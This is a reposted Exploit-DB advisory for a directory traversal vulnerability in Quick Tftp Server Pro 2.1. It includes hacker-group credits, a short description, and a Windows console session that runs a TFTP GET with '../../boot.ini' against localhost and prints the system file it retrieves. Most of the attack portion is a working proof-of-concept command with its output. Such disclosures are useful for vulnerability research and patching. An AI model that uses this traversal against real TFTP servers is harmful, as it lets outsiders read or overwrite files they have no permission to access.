Quick Tftp Server Pro 2.1 – Directory Traversal - 体验盒子

作者： Yakir Wizman

日期： 2010-11-05

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/15437/

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# _ ___________

#(_)____ _ __/ __ \/ /_________/ /_/_/ |

# / // __ \ | / / / / / //_/ _ \/ __// / / /

#/ // / / / |/ / /_/ / ,< /__/ /_/ // / / /

# /_//_/ /_/|___/\____/_/|_|\___/\__,_// /_/_/

# Live by the byte |_/_/

#

# Members:

#

# Pr0T3cT10n

# -=M.o.B.=-

# TheLeader

# Sro

# Debug

#

# Contact: inv0ked.israel@gmail.com

#

# -----------------------------------

# Quick Tftp Server Pro is vulnerable for a path traversal, the following will explain you how to read & write files

# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.

# The vulnerable FTP command are:

# * GET - Read File

# * PUT - Write File

#-----------------------------------

# Vulnerability Title: Quick Tftp Server Pro v2.1 Remote Directory Traversal Vulnerability

# Date: 05/11/2010

# Author: Pr0T3cT10n

# Software Link: http://www.tallsoft.com/tftpserver_setup.exe

# Affected Version: 2.1

# Tested on Windows XP Hebrew, Service Pack 3

# ISRAEL, NULLBYTE.ORG.IL

###

Microsoft Windows XP [Version 5.1.2600]

C:\Documents and Settings\Admin>tftp

Transfers files to and from a remote computer running the TFTP service.

TFTP [-i] host [GET | PUT] source [destination]

-iSpecifies binary image transfer mode (also called

octet). In binary image mode the file is moved

literally, byte by byte. Use this mode when

transferring binary files.

hostSpecifies the local or remote host.

GET Transfers the file destination on the remote host to

the file source on the local host.

PUT Transfers the file source on the local host to

the file destination on the remote host.

sourceSpecifies the file to transfer.

destination Specifies where to transfer the file.

C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../boot.ini C:\boot.txt

Transfer successful: 206 bytes in 1 second, 206 bytes/s

C:\Documents and Settings\Admin>type c:\boot.txt

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"

/noexecute=optin /fastdetect

C:\Documents and Settings\Admin>